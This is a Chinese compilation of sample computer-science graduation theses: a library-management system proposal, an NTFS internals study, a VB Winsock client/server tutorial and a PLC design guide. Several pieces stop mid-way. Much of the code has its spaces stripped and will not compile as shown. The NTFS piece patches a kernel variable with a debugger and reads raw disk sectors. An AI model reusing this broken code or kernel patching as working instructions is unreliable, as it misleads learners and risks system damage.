计算机毕业论文范例6篇

前言:中文期刊网精心挑选了计算机毕业论文范文供你参考和学习,希望我们的参考范文能激发你的文章创作灵感,欢迎阅读。

计算机毕业论文

计算机毕业论文范文1

开题报告

经过大学四年理论课程的学习,以及校内校外的实践,极大的丰富了自身的理论基础,并且也具备了一些处理简单问题的能力,但即将踏上社会的我深知这还远远不够,因此我利用了毕业设计的机会,在老师的指导下去完成一个具有挑战性的,其具体应用及社会服务相结合的项目,深知通过对它的开发,将对我的能力有更高层次的突破。

开发软件的一个目的是针对目前普遍的图书管理系统存在的功能不全,操作复杂,系统要求高等一系列问题,而设想一个具有个性化的图书管理系统。该管理系统与MIS系统相联系,在图书馆内部建成可靠,方便,并且功能齐全的MIS系统。从而在图书馆对新旧书的反应;对书籍借阅的管理能力;对读者和图书馆工作人员的管理能力;对图书馆管理人员软件操作的适应时间和操作感觉这些方面都将大大的提高。当然对该软件的态度是渴望获得显著的社会效益。

开发软件的另一个目的是使其具有强大的实用价值,即它可以满足中小型图书馆的借阅与管理的需要。在一般的学校与科研机构,其下属的很多分支的研究中心,试验中心,各个学院,它们往往都有着自己的规模较大的图书资料室。而这些图书资料室由于本身规模不大因此其对书籍或资料的管理模式一般都比较旧,而且在没有能力也没有必要引进大型的图书馆管理软硬件的基础上,寻求一个针对中小型图书资料室的管理软件是必要的。

这种管理软件对硬件的要求很低,一般有一个比较简单的服务器与PC机组成的网络即可,再加上使用比较廉价、性能不错的软件,这样就可以以较低的成本来实现一个足够使用的功能,而这种模式也正满足了那种中小型资料室,图书馆的要求。但是目前对这种管理软件的开发还处于一种比较原始的阶段。开发者往往都是出于资金和时间的顾虑使用比较陈旧的技术,并且各为己见,并且很少涉及网络。可是当今是一个网络化的社会,像资料室,图书馆这样的信息机构不能与网络联系起来岂不可惜,再加上如今单机版的图书管理软件多如牛毛,去开发一个类似的软件无疑是一种在时间上、精神上和资源上的极大浪费。所以出于多方面的考虑觉得有必要为这种有需要的中小型图书馆,资料室开发一种基于网络的图书资料管理软件。

项目的具体目的:

1.

实现图书馆对外借书,还书的简易操作,提高图书馆对最平凡工作的效率。

2.

实现图书馆对所藏图书的按类别,书名等多方面的查询,最大的方便读者和图书馆工作人员对所需图书的查询。

3.

建立图书馆外借读者数据库,方便工作人员对读者进行有效管理。

4.

建立图书馆工作人员数据库,限定每个工作人员对软件操作的权限,最大限度的保护数据库。

5.

实现图书馆对新书入库,旧书注销的简单处理,并且建立书籍档案,方便进货。

实现方法:

后台数据库支持:采用PowerBuild 8.0,主要是由于PowerBuild 8.0是美国Sybase公司PowerSoft的新一代数据库应用开发工具,它能够设计传统的高性能、基于客户/服务器体系结构的应用系统,也能够用于开发基于Internet的应用系统。它具有容易使用,便于维护的优点,使使用部门可以节省培训费用,加快磨合周期,同时有利于操作人员的培训,是对数据的安全性要求不是特别高,同时又有比较大的数据量的单位的较好选择。作为PowerBuild 7.0的后续版本,PowerBuild 8.0 扩展了 PowerBuild 7.0 版的性能、可靠性、质量和易用性。PowerBuild 8.0增加了几种新的功能,由此成为数据仓库和电子商务应用程序的优秀数据库平台。这些功能如:

l

新的开发调试界面,使程序员对于工作环境有了直观的了解,最大的方便了程序员的工作,新增的剪贴板能够让你保存最常用的代码段,避免了重复输入。

l

新的Web特性,这是PB8.0相对于7.0最大的改进,它提供了因特网浏览器中使用数据窗口控件的瘦客户端的解决方式。普通数据窗口和数据存储中可以使用的方法和属性现在大部分可以使用于Web数据窗口了。

l

新的数据库连接,在改进已有接口的前提下,使用新的数据库连接接口jdbc/jbd数据接口。它封装了jdbc函数功能于一个PB数据库接口,不仅支持使用SUN公司的jdk/jre1.1,还支持使用微软的java vm。因此它具有对现在windows操作平台更加好的兼容性。 外部网/internet

图书馆内部局域网

数据库

图书馆管理系统

读者查询系统

power builder具有的独特的报表系统使制作表格变的极其方便,同时根据用户的需要可以随意调节表格的形式,而不象其他的语言,当用户的需要改变时,需要很大的工作量来更改程序适应用户的需要,同时,由于该语言具有良好的数据库接口,可以比较方便的进行数据库操作。虽然power builder的语法较为简单,对于算法和其他的一些复杂的表示方式缺乏有效的方法,但对于数据库运用,这些缺点并不是经常出现。 因此,同时也用power builder作为前台客户端界面的实现语言。即整个系统均使用power builder,以提高可靠性和安全性。

数据的安全性:

由于该系统统计管理单位的各种书目,人员数据及出入库数据,因此需要保证数据的可靠性和安全性。对于软件方面,采用手动或定时对数据库采取备份,使由于数据破坏所产生的损失降到最低,同时便于恢复。

总体功能结构:

根据图书馆的基本要求和功能目标,总体框架是建立二个功能系统和二个支持系统(具体见图--1)。二个功能系统是:1.图书馆管理系统(下称1号系统);2.外部读者查

询系统(下称2号系统)。二个支持系统是:1.网络支持系统(WAN和LAN);2.数据库支持系统。

需求分析:

A:

图书馆管理系统即1号系统是该系统软件的重要内容之一,该子系统为图书馆的库存书籍的动态调整提供了决策依据,有利于及时对有大量需求的新书进行订货入库。它的主要功能包括:新书入库,旧书注销,借书,还书,馆内图书详细信息,图书查询,读者管理,馆内图书统计,读者信息管理,图书馆工作人员权限管理,名称设计,数据库备份等功能。

下面是2号系统的主要功能的简单描述(图—2简单数据流图):

1.

图书管理(图—3系统流图):

这是图书馆最重要的模块之一,它将对图书馆中的书籍进行管理操作,所有的原始数据输入都是在这里实现的,有了这里的数据输入,才能开始以后的诸如借书、还书等操作。

。新书入库管理:

该功能允许用户输入图书单,在输入过程中,程序自动生成图书单编号以加以区分两次不同的入库书单,同时程序也检查输入的合法性,并自动记录当日入库的图书。

。当日入库图书查询

该功能允许用户对当日的入库书单针对不同条件进行查询,并且提供二次修改,避免出错。

。旧书注销:

该功能允许用户输入注销单,在输入过程中,程序自动生成注销单编号以加以区分两次不同的注销书单,并且自动记录当日注销的图书。

。当日注销图书查询:

该功能允许用户对当日的注销单针对不同条件进行查询,并且提供还原,避免出错。

2.

业务管理:

这是图书馆使用频率最高的模块,因此他在功能上应该直观明确,在操作上应该简单易用。

。图书借阅:

该功能要求用户输入图书编号或者图书条码,并且检查输入合法性,然后程序动态生成该书的详细信息;再输入借书证号,并且检查输入合法性,然后程序动态生成该读者的详细信息;系统记录借书的经手人,最后由借书按钮实现操作。

。图书归还:

与图书借阅类似,追加图书超期罚款功能,自动根据预设值计算出罚款金额。

3.

人员档案管理:

这是针对读者和图书馆工作人员而设计的一个人士管理模块,它将完整的记录读者的信息,以及图书馆工作人员的信息,并且他还具有限制图书馆工作人员操作权限的功能,最大限度的保证了数据的安全。

。读者管理:

记录读者的详细信息,并提供增加、撤除、查询等操作。

。图书馆工作人员管理:

在读者管理子模块的基础上增加权限管理功能,保证数据安全。

4.

数据库备份:

这是一个涉及到安全问题的重要模块,它可以保证数据库的安全,防止因外界的突发事件所造成的损失,避免因数据流失而重复输入的困扰。该功能分为自动备份,和手动立即备份两部分,满足用户需要。

5.

名称设计:

这是一个很具个性化的功能,实现很简单,但非常吸引人,你可以任意为你的管理系统命名,比如“杭州X中学图书管理系统”。

B:

外部读者查询系统,即2号系统,这是一个面向读者的综合查询系统,采用与管理系统相同的数据库,具有唯一的功能:查询。他可以按照读者的要求,用不同方法对所藏书籍进行查询,并能进行书名的模糊查询,还可以查询读者所借书的到期日,和观看读者本人的详细资料,力争最大的满足读者的需求。(图-4简单数据流图)

性能要求:

对新书入库单,注销单的处理及查询;图书查询;借书还书速度应较快

登录仓库管理系统时应输入密码,以保证系统的安全性。

系统要有较强的兼容性,能在各种PC机上正常运行。在系统运行异常及数据文件损坏时能给出出错提示,保证系统的可靠性。

运行环境:

1. 推荐配置:

cpu:Intel Pentium 以上

内存:64M

硬盘:100M空闲空间

2.支持软件:

操作系统:Windows98 , Windows2000 , WindowsMe.

本人开发进度计划:

计算机毕业论文范文2

NTFS是WindowsNT引入的新型文件系统,它具有许多新特性。本文旨在探索NTFS的底层结构,所叙述的也仅是文件在NTFS卷上的分布。NTFS中,卷中所有存放的数据均在一个叫$MFT的文件中,叫主文件表(MasterFileTable)。而$MFT则由文件记录(FileRecord)数组构成。FileRecord的大小一般是固定的,通常情况下均为1KB,这个概念相当于Linux中的inode。FileRecord在$MFT文件中物理上是连续的,且从0开始编号。$MFT仅供FileSystem本身组织、架构文件系统使用,这在NTFS中称为元数据(Metadata)。以下列出Windows2000Release出的NTFS的元数据文件(我将要给出的示例代码的部分输出结果)。

FileRecord(inode)FileName

--------------------------

0$MFT

1$MFTMirr

2$LogFile

3$Volume

4$AttrDef

5.

6$Bitmap

7$Boot

8$BadClus

9$Secure

10$UpCase

11$Extend

Windows2000中不能使用dir命令(甚至加上/ah参数)像普通文件一样列出这些元数据文件。实际上FileSystemDriver(ntfs.sys)维护了一个系统变量NtfsProtectSystemFiles用于隐藏这些元数据。默认情况下,这个变量被设为TRUE,所以使用dir/ah将得不到任何文件。知道这个行为后使用i386kd修改NtfsProtectSystemFiles后即可以列出元数据文件:

kd>xntfs!NtfsProtect*

fe213498Ntfs!NtfsProtectSystemFiles

fe21349cNtfs!NtfsProtectSystemAttributes

kd>ddntfs!NtfsProtectSystemFilesl2

fe2134980000000100000001

kd>edntfs!NtfsProtectSystemFiles0

kd>ddntfs!NtfsProtectSystemFilesl2

fe2134980000000000000001

kd>

D:\>ver

MicrosoftWindows2000[Version5.00.2195]

D:\>dir/ah$*

驱动器D中的卷是W2KNTFS

卷的序列号是E831-9D04

D:\的目录

2000-04-2719:3136,000$AttrDef

2000-04-2719:310$BadClus

2000-04-2719:3167,336$Bitmap

2000-04-2719:318,192$Boot

2000-04-2719:31<DIR>$Extend

2000-04-2719:3113,139,968$LogFile

2000-04-2719:3127,575,296$MFT

2000-04-2719:314,096$MFTMirr

2000-04-2719:31131,072$UpCase

2000-04-2719:310$Volume

9个文件40,961,960字节

1个目录51,863,552可用字节

需要指出的是ntfs.sys将元数据文件以一种特殊的方式打开,所以在打开NtfsProtectSystemFiles后,如果使用ReadFile等产生IRP_MJ_READ等IRP包时将会导致PageFault(详见GaryNebbett的《WindowsNT/2000NativeAPIReference》)。

以上的讨论均是基于$MFT文件而讨论的,即基于$MFT中的FileRecord(inode)讨论的。为更好的继续以下的讨论,这儿我列出FileRecordHeader的结构:

typedefstruct{

ULONGType;

USHORTUsaOffset;

USHORTUsaCount;

USNUsn;

}NTFS_RECORD_HEADER,*PNTFS_RECORD_HEADER;

typedefstruct{

NTFS_RECORD_HEADERNtfs;

USHORTSequenceNumber;

USHORTLinkCount;

USHORTAttributesOffset;

USHORTFlags;//0x0001=InUse,0x0002=Directory

ULONGBytesInUse;

ULONGBytesAllocated;

ULONGLONGBaseFileRecord;

USHORTNextAttributeNumber;

}FILE_RECORD_HEADER,*PFILE_RECORD_HEADER;

下面我将讨论如何定位$MFT。稍微有点操作系统知识的人都会知道引导扇区(BootSector),其物理位置为卷中的第一个扇区。以下由dskprobe.exe(Windows2000ResourceKit中的一个小工具)分析的第一个扇区(当然也可以使用WinHex等其他应用程序):

file:d:\Sector00.bin

Size:0x00000200(512)

Address|00010203-04050607:08090A0B-0C0D0E0F|0123456789ABCDEF

---------|-------------------------:-------------------------|-----------------

00000000|EB52904E-54465320:20202000-02080000|?R?NTFS.....

00000010|00000000-00F80000:3F00F000-3F000000|.....?..?.e.?...

00000020|00000000-80008000:90C04100-00000000|....€.€.惱A.....

00000030|04000000-00000000:091C0400-00000000|................

00000040|F6000000-01000000:049D31E8-BB31E894|?.......?杌1钄

..

..

..

000001F0|00000000-00000000:83A0B3C9-000055AA|........儬成..U?

这512字节为如下的格式:(摘自GaryNebbett书中,本文许多代码均来自或参考此书。)

#pragmapack(push,1)

typedefstruct{

UCHARJump[3];

UCHARFormat[8];

USHORTBytesPerSector;

UCHARSectorsPerCluster;

USHORTBootSectors;

UCHARMbz1;

USHORTMbz2;

USHORTReserved1;

UCHARMediaType;

USHORTMbz3;

USHORTSectorsPerTrack;

USHORTNumberOfHeads;

ULONGPartitionOffset;

ULONGReserved2[2];

ULONGLONGTotalSectors;

ULONGLONGMftStartLcn;

ULONGLONGMft2StartLcn;

ULONGClustersPerFileRecord;

ULONGClustersPerIndexBlock;

ULONGLONGVolumeSerialNumber;

UCHARCode[0x1AE];

USHORTBootSignature;

}BOOT_BLOCK,*PBOOT_BLOCK;

#pragmapack(pop)

各个字段的详细意义从字段名中即可大致清楚。在linux-ntfs的GNU工程(/projects/linux-ntfs)中也有详细的文档,限于篇幅我不将其列出。可以使用如下代码读出卷中的第一个扇区:

hVolume=CreateFile(drive,GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,0,

OPEN_EXISTING,0,0);

ReadFile(hVolume,&bootb,sizeof(bootb),&n,0);

bootb是一个BOOT_BLOCK结构,在我的卷中如下格式(请对应Sector00.bin分析):

DumpBootBlockatbelow:

BytesPerSector:200

SectorsPerCluster:8

BootSectors:0

SectorsPerTrack:3F

NumberOfHeads:F0

PartitionOffset:3F

TotalSectors:41C090

MftStartLcn:4

Mft2StartLcn:41C09

ClustersPerFileRecord:F6

ClustersPerIndexBlock:1

VolumeSerialNumber:E8319D04

BootSignature:AA55

以上的MftStartLcn其实是$MFT在卷中的簇(Cluster)号。簇是NTFS的基本单位,最小单位。一个只有1Byte的文件也要占用一簇的空间。NTFS使用LCN(LogicalClusterNumber)来代表NTFS卷中的物理位置,其简单的从0到卷中的总簇数减一进行编号。对于一个特定的文件NTFS则使用VCN(VirtualClusterNumber)来映射LCN实现文件的组织。从MftStartLcn的值4可以知道$MFT的LCN为4与SectorsPerCluster、BytesPerSector的大小即可定位$MFT的位置。得到$MFT的位置后,如果遍历$MFT中所有的FileRecord即可以得到卷中所有的文件列表(前面已经提到FileRecord只是简单的从0开始编号)。也就是说到目前为止已经可以对文件组织有最简单的认识,但如何得到文件的信息呢,如文件名等等。NTFS中所有文件包括普通的用户文件、元数据文件均用同样的方式组织数据、属性等。我将nfi.exe(来自WindowsNT/2000OEMSupportTools)的输出结果列出,作为我叙述的开始:

D:\>copyconfile

testforntfs^Z

已复制1个文件。

D:\>nfid:\file

NTFSFileSectorInformationUtility.

Copyright(C)MicrosoftCorporation1999.Allrightsreserved.

\file

$STANDARD_INFORMATION(resident)

$FILE_NAME(resident)

$DATA(resident)

D:\>echotestforattr>file:ATTR

D:\>nfid:\file

NTFSFileSectorInformationUtility.

Copyright(C)MicrosoftCorporation1999.Allrightsreserved.

\file

$STANDARD_INFORMATION(resident)

$FILE_NAME(resident)

$DATA(resident)

$DATAATTR(resident)

nfi的输出结果$STANDARD_INFORMATION、$FILE_NAME、$DATA等在NTFS中称为属性(Attribute)。属性分为常驻属性(ResidentAttribute)与非常驻属性(NonresidentAttribute)。文件的数据也包含在属性中,似乎与属性这个名称有点混谣。不过这又让NTFS有了更加统一的组织文件的形式。这也同时让NTFS有MultiStreams的特性(上面也演示了这个特性)。通过指定的FileRecord定位给定的Attribute的实现代码如下:

template<classT1,classT2>inline

T1*Padd(T1*p,T2n){return(T1*)((char*)p+n);}

PATTRIBUTEFindAttribute(PFILE_RECORD_HEADERfile,

ATTRIBUTE_TYPEtype,PWSTRname)

{

for(PATTRIBUTEattr=PATTRIBUTE(Padd(file,file->AttributesOffset));

attr->AttributeType!=-1;

attr=Padd(attr,attr->Length)){

if(attr->AttributeType==type){

if(name==0&&attr->NameLength==0)returnattr;

if(name!=0&&wcslen(name)==attr->NameLength

&&_wcsicmp(name,PWSTR(Padd(attr,attr->NameOffset)))==0)returnattr;

}

}

return0;

}

GaryNebbett提供的这个FindAttribute函数在Attributename(即第三个参数)不为空串时可能会出现bug,主要原因是_wcsicmp对UNICODE字符串比较时应该是以\0结束的标准的C字符串。我在提供的代码中已经纠正了这个错误。

下面我将通过使用SoftICE来分析这段代码得到$MFT的$FILE_NAME属性来得到$MFT的filename。这个示例同样适用于得到其它文件的$FILE_NAME(如上面的file)、还有其它的属性如$DATA等等。

:bpxFindAttribute

BreakduetoBPXFindAttribute(ET=6.89seconds)

:locals

[EBP-4]+structATTRIBUTE*attr=0x00344D68<{...}>

[EBP+8]+structFILE_RECORD_HEADER*file=0x00344D38<{...}>

[EBP+C]enumATTRIBUTE_TYPEtype=AttributeFileName(30)

[EBP+10]+unsignedshort*name=0x004041BC<"$MFT">

:?file

structFILE_RECORD_HEADER*=0x00344D38<{...}>

structNTFS_RECORD_HEADERNtfs={...}

unsignedshortSequenceNumber=0x1,"\0\x01"

unsignedshortLinkCount=0x1,"\0\x01"

unsignedshortAttributesOffset=0x30,"\00"

unsignedshortFlags=0x1,"\0\x01"

unsignedlongBytesInUse=0x2D8,"\0\0\x02\xD8"

unsignedlongBytesAllocated=0x400,"\0\0\x04\0"

unsignedquadBaseFileRecord=0x0,"\0\0\0\0\0\0\0\0"

unsignedshortNextAttributeNumber=0x6,"\0\x06"

file参数我传入的是$MFT,从$MFT的LCN=4可以得到其在卷中的物理地址,这在上面已说明。你也可以使用dskprobe(我机子中为第LCN*SectorsPerCluster=4*8扇区)得到底下SoftICE的输出结果:

:dd@file//以下的注释可对照文中开头列出的FILE_RECORD_HEADER定义。

0023:00344D38454C49460003002A6D4AC04D00000000FILE*...M.Jm....

0023:00344D480001000100010030000002D800000400....0...........

----

|__AttributeOffset

0023:00344D580000000000000000043400060000FA0D..........4.....

0023:00344D6800000010000000600018000000000000....`...........

----------------

||_指出这个Attribute的长度。定义如下。

|_根据AttributeOffset得到的Attribute头,定义如下。00000010指出这个Attribute为StandardInformation

0023:00344D7800000048000000182C1761D001BFB03CH........a.,<...

Attribute头如下定义:

typedefstruct{

ATTRIBUTE_TYPEAttributeType;

ULONGLength;

BOOLEANNonresident;

UCHARNameLength;

USHORTNameOffset;

USHORTFlags;//0x0001=Compressed

USHORTAttributeNumber;

}ATTRIBUTE,*PATTRIBUTE;

typedefstruct{

ATTRIBUTEAttribute;

ULONGValueLength;

USHORTValueOffset;

USHORTFlags;//0x0001=Indexed

}RESIDENT_ATTRIBUTE,*PRESIDENT_ATTRIBUTE;

typedefstruct{

ULONGLONGDirectoryFileReferenceNumber;

ULONGLONGCreationTime;//Savedwhenfilenamelastchanged

ULONGLONGChangeTime;//ditto

ULONGLONGLastWriteTime;//ditto

ULONGLONGLastAccessTime;//ditto

ULONGLONGAllocatedSize;//ditto

ULONGLONGDataSize;//ditto

ULONGFileAttributes;//ditto

ULONGAlignmentOrReserved;

UCHARNameLength;

UCHARNameType;//0x01=Long,0x02=Short

WCHARName[1];

}FILENAME_ATTRIBUTE,*PFILENAME_ATTRIBUTE;

ATTRIBUTE_TYPE是一个Enum型定义。其中00000010为StandardInformation。30为FileName。因为FileNameAttribute总是一个常驻Attribute,所以我将RESIDENT_ATTRIBUTE定义也给出。OK,现在可以继续Dump下一个Attribute:

//dd@file+file->AttributeOffset+length(StandardInformationAttribute)

:dd@file+30+60

0023:00344DC8000000300000006800180000000300000...h...........

--------------

||___这里的NameLength与NameOffset指FileNameAttribute名。不要与$MFTFileName混谣。

|_指出这是一个FileNameAttribute。

0023:00344DD80000004A000100180000000500050000J...............

--------------------

|||_根据ValueOffset的值,得到FILENAME_ATTRIBUTE的具置。

||_ValueOffset值

|_ValueLength值

0023:00344DE82C1761D001BFB03C2C1761D001BFB03C.a.,<....a.,<...

0023:00344DF82C1761D001BFB03C2C1761D001BFB03C.a.,<....a.,<...

0023:00344E0800004000000000000000400000000000.@.......@......

0023:00344E180000000600000000002403040046004D..........$.M.F.

----------

||___找到$MFT的FileName了吧。

|_NameLength

0023:00344E2800000054000000000000008000000190T...............

0023:00344E3800400001000100000000000000000000..@.............

这儿给出了DumpAttribute的一个具体方法。最后我将给出遍历FileRecord的代码,在给出代码前应该说明一下$MFT中$BITMAP属性。NTFS的这个Attribute相当于LINUXEXT2的s_inode_bitmap数组(Linux2.0版本)。所以很容易明白$BITMAP的作用,即每bit指出相应FileRecord的在用情况。以下是DumpAllFileRecord的代码:

BOOLbitset(PUCHARbitmap,ULONGi)

{

return(bitmap[i>>3]&(1<<(i&7)))!=0;

}

VOIDDumpAllFileRecord()

{

PATTRIBUTEattr=FindAttribute(MFT,AttributeBitmap,0);

PUCHARbitmap=newUCHAR[AttributeLengthAllocated(attr)];

ReadAttribute(attr,bitmap);

ULONGn=AttributeLength(FindAttribute(MFT,AttributeData,0))/BytesPerFileRecord;

PFILE_RECORD_HEADERfile=PFILE_RECORD_HEADER(newUCHAR[BytesPerFileRecord]);

for(ULONGi=0;i<n;i++){

if(!bitset(bitmap,i))continue;

ReadFileRecord(i,file);

if(file->Ntfs.Type==''''ELIF''''&&(file->Flags&3)){

attr=FindAttribute(file,AttributeFileName,0);

if(attr==0)continue;

PFILENAME_ATTRIBUTEname

=PFILENAME_ATTRIBUTE(Padd(attr,PRESIDENT_ATTRIBUTE(attr)->ValueOffset));

printf("%8lu%.*ws\n",i,int(name->NameLength),name->Name)

}

}

}

本文引用GaryNebbett的些定义可能对Windows2000版本有些很小的出入,不过Internet有其神奇的地方,虽然Microsoft不提供这些信息,但诸如linux-ntfsGNU工程等均是学习NTFS的一个很好的资料,本文也参考了很多它提供的文档。另外MarkRussinovich的《InsideWin2KNTFS》、《InsideNTFS》、《ExploringNTFSOn-diskStructures》等也是很好的NTFS资料。本文仍未涉及NTFS中目录的组织(B+树)等等,可能的话我会另行介绍。文中介绍的完整代码可到下载。出现的错误也欢迎来信指教(tsu00@)!

最后感谢AntonAltaparmakov,感谢我的同事在出差时抽空给我买到GaryNebbett的书。感谢我看到的所有资料的原作者们。感谢他们!

参考资料:

1.GaryNebbett《WindowsNT/2000NativeAPIReference》

2.Linux-NTFSProjectNTFSDocumentationVersion0.4

计算机毕业论文范文3

一、所用控件

在程序中将使用Winsock控件。Winsock控件是一个ActiveX控件,使用TCP协议或UDP协

议连接到远程计算机上并与之交换数据。和定时器控件一样,Winsock控件在运行时是不可见的。Winsock的工作原理是:客户端向服务器端发出连接请求,服务器端则不停地监听客户端的请求,当两者的协议沟通时,客户端和服务器端之间就建立了连接,这时客户端和服务器端就可以实现双向数据传输。实际编程中,必须分别建立一个服务器端应用程序和一个客户端应用程序,两个应用程序中分别有自己的Winsock控件。首先设置Winsock控件使用的协议,这里我们使用TCP协议。现在,让我们开始用VB建立两个程序,一个是客户端程序myclient,另一个是服务器端程序myserver。

二、编写客户端程序

首先来建客户端程序myclient。在myclient程序中建立一个窗体,加载Winsock控件,称为tcpclient,表示使用的是TCP协议,再加入两个文本框(text1和text2),用来输入服务器的IP地址和端口号,然后建立一个按钮(cd1),用来建立连接,按下之后就可以对连接进行初始化了,代码如下:

privatesubcd1_click()

tcpclient.romotehost=text1.text

tcpclient.romoteport=val(text2.text)''''端口号,缺省为1001

tcpclient.connect''''调用connect方法,与指定IP地址的计算机进行连接

cd1.enabled=false

endsub

连接之后就是如何处理所收到的数据的问题了。客户端和服务器端建立连接后,如果有任何一端接收到新的数据,就会触发该端winsock控件的dataarrival事件,在响应这个事件时,可以使用getdata方法获得发送来的数据。比如可以在tcpclient的dataarrival事件中编写代码如下:

privatesubtcpclient_dataarrival(byvalbytestotalaslong)

dimxasstring

tcpclient.getdatax''''使用getdata获得发送来的数据

.......

Endsub

后面的省略部分表示对接收到的数据进行的具体处理,读者可以根据实际情况编写。

三、编写服务器端程序

先建立一个窗体,加载Winsock控件,名称为tcpserver。另外在窗体上加入一个文本框text1用来显示客户机的IP地址和客户机发送过来的数据信息。

当客户端程序运行时,在客户端程序按下连接按钮后,客户端向服务器端程序请求连接,这时服务器端的connectionrequest事件被触发,所以服务器端程序要解决连接问题,可以使用connectionrequest事件完成此功能。代码如下:

''''在窗体的load事件中对tcpserver控件进行初始化

privatesubform_load()

tcpserver.localport=1001

tcpserver.listen''''把服务器置于监听检测状态

endsub

''''服务器端接收到客户端的连接请求,首先检查当前状态是否处于连接关闭状态

Privatesubtcpclient_connectionrequest(ByvalrequestIDaslong)

Iftcpserver.state<>sckclosedthen''''检查控件的state属性是否为关闭

Tcpserver.close''''

Tcpserver.acceptrequestID''''

Endif

Endsub

现在我们在服务器端程序tcpserver的dataarrival事件中添加以下代码,以便让服务器端程序可以接收客户机端的指令,并运行相应的程序。

计算机毕业论文范文4

关键词:自动控制可编程序控制器系统设计应用

在现代化的工业生产设备中,有大量的数字量及模拟量的控制装置,例如电机的起停,电磁阀的开闭,产品的计数,温度、压力、流量的设定与控制等,工业现场中的这些自动控制问题,若采用可编程序控制器(PC)来解决自动控制问题已成为最有效的工具之一,本文叙述PC控制系统设计时应该注意的问题。

硬件选购目前市场上的PC产品众多,除国产品牌外,国外有:日本的OMRON、MITSUBISHI、FUJJ、anasonic,德国的SIEMENS,韩国的LG等。近几年,PC产品的价格有较大的下降,其性价比越来越高,这是众多技术人员选用PC的重要原因。那么,如何选购PC产品呢?

1.系统规模首先应确定系统用PC单机控制,还是用PC形成网络,由此计算PC输入、输出点。数,并且在选购PC时要在实际需要点数的基础上留有一定余量(10%)。

2.确定负载类型根据PC输出端所带的负载是直流型还是交流型,是大电流还是小电流,以及PC输出点动作的频率等,从而确定输出端采用继电器输出,还是晶体管输出,或品闸管输出。不同的负载选用不同的输出方式,对系统的稳定运行是很重要的。

3.存储容量与速度尽管国外各厂家的PC产品大体相同,但也有一定的区别。目前还未发现各公司之间完全兼容的产品。各个公司的开发软件都不相同,而用户程序的存储容量和指令的执行速度是两个重要指标。一般存储容量越大、速度越快的PC价格就越高,但应该根据系统的大小合理选用PC产品。

4.编程器的选购PC编程可采用三种方式:

一是用一般的手持编程器编程,它只能用商家规定语句表中的语句编程。这种方式效率低,但对于系统容量小,用量小的产品比较适宜,并且体积小,易于现场调试,造价也较低。

二是用图形编程器编程,该编程器采用梯形图编程,方便直观,一般的电气人员短期内就可应用自如,但该编程器价格较高。

三是用IBM个人计算机加PC软件包编程,这种方式是效率最高的一种方式,但大部分公司的PC开发软件包价格昂贵,并且该方式不易于现场调试。

因此,应根据系统的大小与难易,开发周期的长短以及资金的情况合理选购PC产品。

5.尽量选用大公司的产品其质量有保障,且技术支持好,一般售后服务也较好,还有利于你的产品扩展与软件升级。

输入回路的设计

1.电源回路PC供电电源一般为AC85—240V(也有DC24V),适应电源范围较宽,但为了抗干扰,应加装电源净化元件(如电源滤波器、1:1隔离变压器等)。

2.Pc上DC24V电源的使用各公司PC产品上一般都有DC24V电源,但该电源容量小,为几十毫安至几百毫安,用其带负载时要注意容量,同时作好防短路措施(因为该电源的过载或短路都将影响PC的运行)。

3.外部DC24V电源若输入回路有DC24V供电的接近开关、光电开关等,而PC上DC24V电源容量不够时,要从外部提供DC24V电源;但该电源的“—”端不要与PC的DC24V的“—”端以及“COM”端相连,否则会影响PC的运行。

4.输入的灵敏度各厂家对PC的输人端电压和电流都有规定,如日本三菱公司F7n系列Pc的输入值为:DC24V、7mA,启动电流为4.5mA,关断电流小于1.5mA,因此,当输入回路串有二极管或电阻(不能完全启动),或者有并联电阻或有漏电流时(不能完全切断),就会有误动作,灵敏度下降,对此应采取措施。另一方面,当输入器件的输入电流大于PC的最大输入电流时,也会引起误动作,应采用弱电流的输入器件,并且选用输人为共漏型输入的PC,Bp输入元件的公共点电位相对为负,电流是流出PC的输入端。

输出回路的设计

1.各种输出方式之间的比较

(1)继电器输出:优点是不同公共点之间可带不同的交、直流负载,且电压也可不同,带负载电流可达2A/点;但继电器输出方式不适用于高频动作的负载,这是由继电器的寿命决定的。其寿命随带负载电流的增加而减少,一般在几十万次至Jl百万次之间,有的公司产品可达1000万次以上,响应时间为10ms

(2)晶闸管输出:带负载能力为0.2A/点,只能带交流负载,可适应高频动作,响应时间为1ms.

(3)晶体管输出:最大优点是适应于高频动作,响应时间短,一般为0.2ms左右,但它只能带DC5—30V的负载,最大输出负载电流为0.5A/点,但每4点不得大于0.8A。

当你的系统输出频率为每分钟6次以下时,应首选继电器输出,因其电路设计简单,抗干扰和带负载能力强。当频率为10次/min以下时,既可采用继电器输出方式;也可采用PC输出驱动达林顿三极管(5—10A),再驱动负载,可大大减小电流。

2.抗干扰与外部互锁当PC输出带感性负载,负载断电时会对PC的输出造成浪涌电流的冲击,为此,对直流感性负载应在其旁边并接续流二极管,对交流感性负载应并接浪涌吸收电路,可有效保护PC。

当两个物理量的输出在PC内部已进行软件互锁后,在PC的外部也应进行互锁,以加强系统的可靠性。

3.“GOM“点的选择不同的PC产品,其“COM”点的数量是不一样的,有的一个“COM”点带8个输出点,有的带4个输出点,也有带2个或1个输出点的。当负载的种类多,且电流大时,采用一个“COM”点带1—2个输出点的PC产品;当负载数量多而种类少时,采用一个“COM”点带4—8个输出点的PC产品。这样会对电路设计带来很多方便,每个“COM”点处加一熔丝,1—2个输出时加2A的熔丝,4—8点输出的加5—10A的熔丝,因PC内部一般没有熔丝。

4.PC外部驱动电路对于PC输出不能直接带动负载的情况下,必须在外部采用驱动电路:可以用三极管驱,也可以用固态继电器或晶闸管电路驱动,同时应采用保护电路和浪涌吸收电路,且每路有显示二极管(LED)指示。印制板应做成插拔式,易于维修。

PC的输入输出布线也有一定的要求,请看各公司的使用说明书。

扩展模块的选用

对于小的系统,如80点以内的系统.一般不需要扩展;当系统较大时,就要扩展。不同公司的产品,对系统总点数及扩展模块的数量都有限制,当扩展仍不能满足要求时,可采用网络结构;同时,有些厂家产品的个别指令不支持扩展模块,因此,在进行软件编制时要注意。当采用温度等模拟模块时,各厂家也有一些规定,请看相关的技术手册。

各公司的扩展模块种类很多,如单输入模块、单输出模块、输入输出模块、温度模块、高速输入模块等。PC的这种模块化设计为用户的产品开发提供了方便。

PC的网络设计

当用PC进行网络设计时,其难度比PC单机控制大得多。首先你应选用自己较熟悉的机型,对其基本指令和功能指令有较深入的了解,并且指令的执行速度和用户程序存储容量也应仔细了解。否则,不能适应你的实时要求,造成系统崩溃。另外,对通信接口、通信协议、数据传送速度等也要考虑。

